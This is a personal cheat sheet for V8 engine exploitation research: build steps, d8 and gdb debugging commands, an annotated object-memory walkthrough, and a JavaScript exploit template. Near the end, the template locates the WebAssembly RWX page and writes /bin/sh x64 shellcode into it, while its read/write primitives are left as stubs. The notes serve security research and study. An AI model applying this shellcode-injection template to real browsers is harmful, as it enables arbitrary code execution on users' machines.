# compile release version
gclient sync
./tools/dev/v8gen.py x64.release
ninja -C ./out.gn/x64.release
# compile debug version
gclient sync
./tools/dev/v8gen.py x64.optdebug
ninja -C ./out.gn/x64.optdebug
# Build with natives_blob.bin and snapshot_blob.bin
# Add to args.gn
v8_static_library = true
v8_use_snapshot = true
v8_use_external_startup_data = true
d8 flags:
--allow-natives-syntax allow '%' commands
--trace-sim Dump a trace of all instructions executed
--print-code Print out all instructions generated during JIT
--print-all-code Print out all instructions generated ahead of time and during JIT
--print-* Print out various stages: ast, wasm-code, bytecode, etc. (see --help)
--trace-opt Trace lazy optimization
--trace-deopt Trace optimize function deoptimization
--trace-turbo Trace generated TurboFan IR
--trace-turbo-reduction Trace TurboFan's various reducers
--trace-turbo-*
d8 builtin commands
var test_array = [1.1, 2.2, 3.3];
# print jsobject data and metadata
%DebugPrint(test_array);
# create a core dump and exit
%SystemBreak();
# Force a JIT on next call of f
%OptimizeFunctionOnNextCall(f)
# Manually trigger GC
%CollectGarbage()
# 'Is<type>' checks for various builtin types, e.g.
%IsArray(test_array)
## Extra:
# - full list of native syntax commands:
# src/runtime/runtime.h
#
# - examples
# test/debugger/debug/
#
# - Debugging over the V8 Inspector Protocol
# https://v8.dev/docs/inspector
# --enable-inspector flag
# Include test/mjsunit/mjsunit.js and test/debugger/test-api.js
# examples on test/debugger/debug folder
Extracted from v8's gdbinit
and gdb-v8-support.py
gdb ./d8 -ex "source ../../tools/gdbinit" -ex "source ../../tools/gdb-v8-support.py" -ex "run"
# print v8 object (can't use the C++ syntax because of tagged pointers)
v8print <tagged-pointer>
# or job <tagged-pointer>
# or call (void *) _v8_internal_Print_Object(<tagged-pointer>)
# or call __gdb_print_v8_object(<tagged-pointer>)
# search
find-anywhere 0x41424344
# OR
search-pattern 0x41424344
# redirect subcommand's stdout to a temp file
redirect <gdb-comand> <address>
# e.g redirect x/10gx 0x10000
# print content of v8::internal::Handle
jh <addr>
# print content of v8::Local handle
jlh <addr>
# print code objects containing given PC
jco <addr>
# print LayoutDescriptor
jld <tagged-addr>
# Print the complete transition tree of the given v8 Map.
jtt <tagged-addr>
# Print the current JavaScript stack trace
jst
# Print a v8 TurboFan graph node
pn <node_address>
# Print stack trace and skip the JavaScript stack.
jss
# Print stack trace with assertion scopes.
bta
# Find the location of a given address in V8 pages.
heap_find <address>
# Dereference recursively from an address and display information. This acts like WinDBG `dps`
# which means print the value, if it is an address then deref it and print its content
dereference <address>
Example :
d8> let obj = { x: 0x41424344, y: 0x45464748 };
CTRL^C
gef> search-pattern 0x41424344
gef> x/8gx 0x26c5b3f4bb28-0x18
0x26c5b3f4bb10: 0x000007df0680a701 0x0000341feb380bf9 # [ Map , out-of-line properties ptr]
0x26c5b3f4bb20: 0x0000341feb380bf9 0x4142434400000000 # [ array elements, in-line prop.1 ]
0x26c5b3f4bb30: 0x4546474800000000 # [ in-line prop.2]
gef> job 0x26c5b3f4bb11
0x26c5b3f4bb11: [JS_OBJECT_TYPE]
- map: 0x07df0680a701 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x0d3fdf642041 <Object map = 0x7df06800201>
- elements: 0x341feb380bf9 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x341feb380bf9 <FixedArray[0]> {
#x: 1094861636 (const data field 0)
#y: 1162233672 (const data field 1)
}
gef> continue
let's change map by adding a new property
d8> obj.z = 0x494a4b4c;
gef_ job 0x26c5b3f4bb11
0x26c5b3f4bb11: [JS_OBJECT_TYPE]
- map: 0x07df0680a751 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x0d3fdf642041 <Object map = 0x7df06800201>
- elements: 0x341feb380bf9 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x26c5b3f4e041 <PropertyArray[3]> {
#x: 1094861636 (const data field 0)
#y: 1162233672 (const data field 1)
#z: 1229605708 (const data field 2) properties[0]
}
gef_ x/8gx 0x26c5b3f4bb10
0x26c5b3f4bb10: 0x000007df0680a751 0x000026c5b3f4e041 # [ Map , out-of-line properties ptr]
0x26c5b3f4bb20: 0x0000341feb380bf9 0x4142434400000000 # [ array elements, in-line prop.1 ]
0x26c5b3f4bb30: 0x4546474800000000 0x0000341feb380249 # [ in-line prop.2, ??? ]
0x26c5b3f4bb40: 0x0000000000010001 0x0000341feb3823d1
gef_ x/4gx 0x000026c5b3f4e040
0x26c5b3f4e040: 0x0000341feb381891 0x0000000300000000 # [ Map , size ]
0x26c5b3f4e050: 0x494a4b4c00000000 # [ extra prop.1 'z' ]
gef_ v8print 0x000026c5b3f4e041
0x26c5b3f4e041: [PropertyArray]
- map: 0x341feb381891 <Map>
- length: 3
- hash: 0
0: 1229605708
1-2: 0x341feb3804a9 <undefined>
gef_ v8print 0x0000341feb380bf9
0x341feb380bf9: [FixedArray] in ReadOnlySpace
- map: 0x341feb380789 <Map>
- length: 0
gef> continue
let's change map by adding entries on the elements array
d8> obj[0] = 0x1337;
d8> obj[1] = 0x1338;
gef_ job 0x26c5b3f4bb11
0x26c5b3f4bb11: [JS_OBJECT_TYPE]
- map: 0x07df0680a751 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x0d3fdf642041 <Object map = 0x7df06800201>
- elements: 0x26c5b3f4e169 <FixedArray[17]> [HOLEY_ELEMENTS]
- properties: 0x26c5b3f4e041 <PropertyArray[3]> {
#x: 1094861636 (const data field 0)
#y: 1162233672 (const data field 1)
#z: 1229605708 (const data field 2) properties[0]
}
- elements: 0x26c5b3f4e169 <FixedArray[17]> {
0: 4919
1: 4920
2-16: 0x341feb380589 <the_hole>
}
gef_ job 0x26c5b3f4e169
0x26c5b3f4e169: [FixedArray]
- map: 0x341feb380789 <Map>
- length: 17
0: 4919
1: 4920
2-16: 0x341feb380589 <the_hole>
gef_ x/8gx 0x26c5b3f4e168
0x26c5b3f4e168: 0x0000341feb380789 0x0000001100000000 # [ Map , capacity | ?? ]
0x26c5b3f4e178: 0x0000133700000000 0x0000133800000000 # [ elem.1 , elem.2 ]
0x26c5b3f4e188: 0x0000341feb380589 0x0000341feb380589 # [ elem.3 ("the_hole" magic value), .. ]
0x26c5b3f4e198: 0x0000341feb380589 0x0000341feb380589 # [ ... ]
refs:
- http://phrack.org/papers/jit_exploitation.html
- https://ret2ver.github.io/2021/02/07/Build%20V8/
- https://n132.github.io/cheatsheet/
// (1) convert stuff
var _b = new ArrayBuffer(16);
var _f = new Float64Array(_b);
var _i = new BigUint64Array(_b);
// converts float to big unsigned int
function f2i(f)
{
_f[0] = f;
return _i[0];
}
// converts big unsigned int to float
function i2f(i)
{
_i[0] = i;
return _f[0];
}
// converts to hex format
function hex(i)
{
return "0x"+i.toString(16).padStart(16,"0");
}
// convert stuff 2
var f64 = new Float64Array(1);
var u32 = new Uint32Array(f64.buffer);
function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function hex_2(lo, hi) {
if( lo == 0 ) {
return ("0x" + hi.toString(16) + "-00000000");
}
if( hi == 0 ) {
return ("0x" + lo.toString(16));
}
return ("0x" + hi.toString(16) + "-" + lo.toString(16));
}
// exploit primitive
// 2. leaking object's address
function addressOf(obj_to_leak)
{
// from the leak vuln print the obj_to_leak addr
}
// 3. turn addr to object
function fakeObject(addr_to_fake) { }
// 4. read data from addr using OOB-read or aar(arbitrary address read)
function read_oob(addr, length) { }
// 5. write data to addr using OOB-write or aaw(arbitrary address write)
function write_oob(addr, data) { }
// 6. return rwx addr:
// Function–>shared_info–>WasmExportedFunctionData–>instance->instance+0x88
//
// create wasm shellcode
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
//
//
function rwx_page_addr() {
// Without compression pointer
var shared_info_addr = read_oob(f_addr + 0x18n, 8) - 0x1n;
var wasm_exported_func_data_addr = read_oob(shared_info_addr + 0x8n, 8) - 0x1n;
var wasm_instance_addr = read_oob(wasm_exported_func_data_addr + 0x10n, 8) - 0x1n;
var rwx_page_addr = read_oob(wasm_instance_addr + 0x80n, 8);
var rwx_page_addr_2 = read_oob(shared_info_addr - 0x120n, 8);
console.log("[+]leak rwx_page_addr: " + hex(rwx_page_addr) + " == " + hex(rwx_page_addr_2));
// With compression pointer
var shared_info_addr = read_oob(f_addr + 0xc, 4) - 0x1;
var wasm_exported_func_data_addr = read_oob(shared_info_addr + 0x4, 4) - 0x1;
var wasm_instance_addr = read_oob(wasm_exported_func_data_addr + 0x8, 4) - 0x1;
var rwx_page_addr = read_oob(wasm_instance_addr + 0x60, 8);
console.log("[+]leak rwx_page_addr: " + hex(rwx_page_addr));
}
// 7. Dataview object aar aaw use case
var buffer = new ArrayBuffer(16);
var view = new DataView(buffer);
//
view.setUint32(0, 0x44434241, true);
console.log(view.getUint8(0, true));
%DebugPrint(buffer);
%DebugPrint(view);
// 8. shellcode
function run_shellcode(rwx_page_addr) {
/* /bin/sh for linux x64
char shellcode[] = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f \x2f\x62\x69\x6e\x2f\x73\x68\x53 \x54\x5f\x52\x57\x54\x5e\x0f\x05";
*/
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
var data_buf = new ArrayBuffer(24);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
write_oob(rwx_page_addr, buf_backing_store_addr);
data_view.setFloat64(0, i2f(shellcode[0]), true);
data_view.setFloat64(8, i2f(shellcode[1]), true);
data_view.setFloat64(16, i2f(shellcode[2]), true);
// wasmInstance.exports.main
f();
}
// 9. sleep
function sleep(sleepDuration) {
var now = new Date().getTime();
while(new Date().getTime() < now + sleepDuration){ /* do nothing */ }
}
// 10. trigger gc
function gc() { for (let i = 0; i < 0x10; i++) { new ArrayBuffer(0x1000000); } }
// 11. log
function log(msg) {
document.write(msg + "</br>");
}
// 12. hexdump
function hexdump(arr, lim) {
for(let i = 0; i < lim/2; i++) {
tmp = hex( f2i(arr[i]) );
tmp2 = hex( f2i(arr[i+1]) );
console.log("[" + i + "] : " + tmp + " " + tmp2);
}
}
Turbofan := the JIT compiler inside v8
Turbofan IR := graph-based, consisting of operations (nodes) and different types of edges between them
Edges := {control-flow edges, data-flow, effect-flow}
Nodes := {JavaScript operations, simplified operations, and machine operations}
JavaScript JIT compiler pipeline := 1. IR Graph building and specialization -> 2. AOT optimization (feedback, maps) -> 3. assembly and bailouts